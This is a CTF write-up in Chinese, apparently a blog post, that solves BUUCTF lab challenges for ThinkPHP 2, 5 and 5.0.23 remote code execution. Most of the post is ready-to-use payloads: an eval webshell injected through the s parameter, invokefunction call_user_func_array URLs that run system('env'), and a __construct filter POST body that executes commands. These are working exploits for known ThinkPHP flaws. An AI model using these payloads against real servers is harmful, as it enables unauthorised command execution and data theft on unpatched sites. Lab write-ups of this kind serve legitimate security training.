[ThinkPHP]2,5,5.0.23-Rce

[ThinkPHP]2-Rce

?s是一个常用的api,然后我们传入ls命令发现会报错,报错信息中会显示thinkphp的版本

image-20220513085334157

然后我们只要找到thinkphp2.1的payload达到一个命令执行的效果

?s=/index/index/xxx/${${@eval($_POST[pass])}}

?s=/index/index/xxx/${@phpinfo()}

在php中,${}可以构造变量,如果{}里面写的是一般的字符,那么就会被当成变量,例如${a}会被当成变量$a。

?s=/index/index/xxx/${@phpinfo()}

所以这句话是把phpinfo()作为变量输出到了页面显示,flag就在这些信息中,Ctrl+F搜索即可

image-20220513092053013

或者用上面那个一句话,post传参也可以

image-20220513092250224

或者我们可以用system函数去构造一些命令

pass=system("ls /");

image-20220513093835207

image-20220513093858572

image-20220513092158229

env是环境变量的意思,flag就在环境变量里

image-20220513092351722

FLAG=flag{37e4044e-f6a6-4b82-bdcd-90c6d88b99fc}

[ThinkPHP]5-Rce

可以用call_user_func_array()这个函数来构造命令执行

flag同样在环境变量中

http://node4.buuoj.cn:27835/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=env

http://node4.buuoj.cn:27835/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=-1

或者在phpinfo中也可以找到flag

image-20220513134319119

FLAG=flag{a0aaca06-5435-40aa-82c7-d16307d6c0c6}

[ThinkPHP]5.0.23-Rce

http://node4.buuoj.cn:26842/?s=captcha

POST:

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1

image-20220513135559992

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=env

image-20220513135629660

FLAG=flag{58214b0e-de30-4acd-898f-9a17a7d07c56}

posted @ 2022-05-13 13:59  Jinx8823  阅读(216)  评论(0编辑  收藏  举报